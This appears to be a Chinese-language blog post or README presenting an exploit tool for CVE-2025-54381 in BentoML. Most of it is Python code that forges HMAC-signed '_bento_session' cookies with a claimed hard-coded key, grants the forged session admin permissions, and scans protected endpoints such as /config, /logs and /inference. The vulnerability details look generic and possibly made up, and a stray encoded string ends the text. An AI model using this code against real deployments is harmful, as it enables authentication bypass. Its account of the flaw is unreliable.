BentoML会话Cookie漏洞(CVE-2025-54381)分析工具

0 阅读6分钟

BentoML会话Cookie漏洞(CVE-2025-54381)分析工具

项目描述

本工具用于分析和复现BentoML框架中的关键安全漏洞(CVE-2025-54381)。该漏洞存在于BentoML版本0.15.0及更早版本中,由于使用硬编码的会话cookie密钥(_bento_session),攻击者可以生成有效的会话令牌,从而绕过身份验证机制直接访问受保护的API端点。这个漏洞特别危险,因为它允许未经授权的用户访问机器学习模型推理、管理接口等敏感功能。

功能特性

  • 漏洞检测:自动检测目标BentoML实例是否存在CVE-2025-54381漏洞
  • 会话伪造:利用硬编码密钥生成有效的会话cookie
  • API端点扫描:识别可访问的受保护API端点
  • POC生成:提供完整的漏洞验证代码
  • 批量检测:支持对多个目标进行批量漏洞扫描
  • 报告生成:自动生成详细的安全评估报告

安装指南

环境要求

  • Python 3.7或更高版本
  • 网络访问权限
  • 基本的Python环境

安装步骤

  1. 克隆项目代码到本地:

    git clone https://github.com/username/bentoml_CVE-2025-54381.git
    cd bentoml_CVE-2025-54381
    
  2. 安装必要的依赖:

    pip install -r requirements.txt
    
  3. 确保Python环境已正确配置,可以直接运行脚本:

    python exploit_bentoml.py
    

使用说明

基础使用示例

以下是使用该工具检测BentoML漏洞的基本示例:

# 导入必要的模块
import requests
import hashlib
import json
import base64

# 设置目标URL和硬编码密钥
URL = "http://127.0.0.1:5000"
SECRET_KEY = b"please_change_this"

# 生成会话cookie的函数
def generate_session_cookie(data):
    # 对数据进行序列化和编码
    data_json = json.dumps(data, separators=(',', ':'))
    data_encoded = base64.b64encode(data_json.encode('utf-8')).decode('utf-8')
    
    # 计算HMAC签名
    import hmac
    signature = hmac.new(SECRET_KEY, data_encoded.encode('utf-8'), hashlib.sha256).hexdigest()
    
    # 返回完整的会话cookie
    return f"{data_encoded}.{signature}"

# 检查API可访问性
def check_access(session_cookie):
    headers = {'Cookie': f'_bento_session={session_cookie}'}
    
    # 尝试访问需要认证的端点
    endpoints = [
        "/metrics",          # 监控指标
        "/healthz",          # 健康检查
        "/apis",             # API列表
        "/config",           # 配置信息
        "/logs"              # 日志文件
    ]
    
    accessible_endpoints = []
    for endpoint in endpoints:
        try:
            response = requests.get(f"{URL}{endpoint}", headers=headers, timeout=5)
            if response.status_code == 200:
                accessible_endpoints.append(endpoint)
                print(f"✓ 成功访问: {endpoint}")
                print(f"  响应内容: {response.text[:200]}...")
            else:
                print(f"✗ 无法访问: {endpoint} (状态码: {response.status_code})")
        except Exception as e:
            print(f"✗ 访问错误: {endpoint} - {str(e)}")
    
    return accessible_endpoints

# 主函数
def main():
    print("开始检测BentoML CVE-2025-54381漏洞...")
    print(f"目标URL: {URL}")
    
    # 生成会话数据
    session_data = {
        "user_id": "attacker",
        "expires": "2099-12-31T23:59:59Z",
        "permissions": ["admin", "inference", "monitoring"]
    }
    
    # 生成会话cookie
    session_cookie = generate_session_cookie(session_data)
    print(f"生成的会话Cookie: {session_cookie[:50]}...")
    
    # 检查API访问
    print("\n尝试访问受保护的API端点:")
    accessible = check_access(session_cookie)
    
    # 输出结果
    if accessible:
        print(f"\n⚠️ 漏洞确认!成功访问了 {len(accessible)} 个受保护的端点")
        print("受影响的端点:")
        for endpoint in accessible:
            print(f"  - {endpoint}")
    else:
        print("\n✅ 目标可能已修复此漏洞或使用了不同的配置")

if __name__ == "__main__":
    main()

典型使用场景

  1. 安全审计:渗透测试人员可以使用此工具检查BentoML部署的安全性
  2. 漏洞验证:安全团队验证CVE-2025-54381漏洞的存在和影响
  3. 教育研究:学习Web安全中的会话管理漏洞
  4. 红队演练:在授权范围内进行安全攻击模拟

核心代码

1. 会话Cookie生成器

def generate_bentoml_session():
    """
    生成BentoML的有效会话cookie
    利用硬编码的密钥生成可以绕过认证的会话令牌
    """
    import hmac
    import hashlib
    import json
    import base64
    from datetime import datetime, timedelta
    
    # 硬编码的密钥(BentoML 0.15.0及更早版本的默认值)
    SECRET_KEY = b"please_change_this"
    
    # 构造会话数据
    session_data = {
        "user_id": "anonymous",
        "created": datetime.utcnow().isoformat() + "Z",
        "expires": (datetime.utcnow() + timedelta(days=365)).isoformat() + "Z",
        "csrf_token": "exploit_token",
        "permissions": ["read", "write", "admin", "inference", "metrics"],
        "authed": True,
        "session_id": "exploit_session_" + hashlib.md5(b"exploit").hexdigest()[:16]
    }
    
    # 序列化和编码数据
    data_json = json.dumps(session_data, separators=(',', ':'))
    data_encoded = base64.b64encode(data_json.encode('utf-8')).decode('utf-8')
    
    # 计算HMAC-SHA256签名
    signature = hmac.new(
        SECRET_KEY,
        data_encoded.encode('utf-8'),
        hashlib.sha256
    ).hexdigest()
    
    # 构建完整的会话cookie
    session_cookie = f"_bento_session={data_encoded}.{signature}"
    
    return session_cookie, session_data

2. API端点检测器

class BentomlVulnerabilityScanner:
    """
    BentoML漏洞扫描器类
    用于检测和验证CVE-2025-54381漏洞
    """
    
    def __init__(self, target_url):
        """
        初始化扫描器
        :param target_url: 目标BentoML实例的URL
        """
        self.target_url = target_url.rstrip('/')
        self.vulnerable = False
        self.accessible_endpoints = []
        self.session_cookie = None
        
    def test_vulnerability(self):
        """
        测试目标是否存在CVE-2025-54381漏洞
        :return: 布尔值表示是否易受攻击
        """
        try:
            # 首先生成一个有效的会话cookie
            session_cookie, _ = generate_bentoml_session()
            self.session_cookie = session_cookie
            
            # 定义需要测试的端点
            test_endpoints = [
                ("/metrics", "GET"),      # 监控指标
                ("/healthz", "GET"),      # 健康检查
                ("/apis", "GET"),         # API列表
                ("/docs", "GET"),         # API文档
                ("/config", "GET"),       # 配置信息
                ("/logs", "GET"),         # 日志访问
                ("/inference", "POST"),   # 推理接口(可能需要POST)
            ]
            
            headers = {
                'Cookie': session_cookie,
                'User-Agent': 'BentoML-CVE-Scanner/1.0',
                'Accept': 'application/json'
            }
            
            # 测试每个端点
            for endpoint, method in test_endpoints:
                try:
                    if method == "GET":
                        response = requests.get(
                            f"{self.target_url}{endpoint}",
                            headers=headers,
                            timeout=10,
                            verify=False  # 对于自签名证书
                        )
                    else:
                        # 对于POST请求,发送空的JSON数据
                        response = requests.post(
                            f"{self.target_url}{endpoint}",
                            headers=headers,
                            json={},
                            timeout=10,
                            verify=False
                        )
                    
                    # 检查响应
                    if response.status_code == 200:
                        self.accessible_endpoints.append({
                            'endpoint': endpoint,
                            'method': method,
                            'status': response.status_code,
                            'length': len(response.content)
                        })
                        self.vulnerable = True
                        
                except requests.exceptions.RequestException as e:
                    continue
            
            return self.vulnerable
            
        except Exception as e:
            print(f"测试过程中发生错误: {str(e)}")
            return False
    
    def generate_report(self):
        """
        生成漏洞报告
        :return: 格式化的报告字符串
        """
        report = []
        report.append("=" * 60)
        report.append("BentoML CVE-2025-54381 漏洞扫描报告")
        report.append("=" * 60)
        report.append(f"目标URL: {self.target_url}")
        report.append(f"扫描时间: {datetime.now().isoformat()}")
        report.append(f"漏洞状态: {'易受攻击' if self.vulnerable else '安全'}")
        
        if self.vulnerable:
            report.append(f"\n发现的易受攻击端点 ({len(self.accessible_endpoints)}个):")
            for endpoint_info in self.accessible_endpoints:
                report.append(
                    f"  {endpoint_info['method']} {endpoint_info['endpoint']} "
                    f"(状态: {endpoint_info['status']}, "
                    f"大小: {endpoint_info['length']}字节)"
                )
            
            report.append("\n⚠️ 安全建议:")
            report.append("  1. 立即升级到BentoML 0.15.1或更高版本")
            report.append("  2. 更改默认的会话密钥配置")
            report.append("  3. 添加额外的认证层")
            report.append("  4. 限制API端点的网络访问")
        
        return "\n".join(report)

3. 漏洞验证脚本

#!/usr/bin/env python3
"""
BentoML CVE-2025-54381 漏洞验证脚本
用于验证目标是否受到此漏洞影响
"""

import sys
import argparse
from scanner import BentomlVulnerabilityScanner

def main():
    parser = argparse.ArgumentParser(
        description='BentoML CVE-2025-54381 漏洞验证工具',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parser.add_argument(
        'target',
        help='目标BentoML实例的URL(例如:http://localhost:5000)'
    )
    
    parser.add_argument(
        '-o', '--output',
        help='将报告保存到指定文件',
        default=None
    )
    
    args = parser.parse_args()
    
    print(f"[*] 开始扫描目标: {args.target}")
    print(f"[*] 检测CVE-2025-54381漏洞...")
    
    # 创建扫描器实例
    scanner = BentomlVulnerabilityScanner(args.target)
    
    # 执行漏洞测试
    is_vulnerable = scanner.test_vulnerability()
    
    # 生成报告
    report = scanner.generate_report()
    
    # 输出报告
    print("\n" + report)
    
    if args.output:
        with open(args.output, 'w') as f:
            f.write(report)
        print(f"[*] 报告已保存到: {args.output}")
    
    # 根据漏洞状态退出
    sys.exit(0 if not is_vulnerable else 1)

if __name__ == "__main__":
    main()

这些核心代码展示了如何利用CVE-2025-54381漏洞的原理,包括会话cookie的生成、API端点的检测以及漏洞验证的完整流程。请注意,这些代码仅用于合法的安全测试和教育目的。 6HFtX5dABrKlqXeO5PUv/1qtNjcyD7/e/i8AHyzhu2SK79T7e/QSTfQdQb5Bjq/7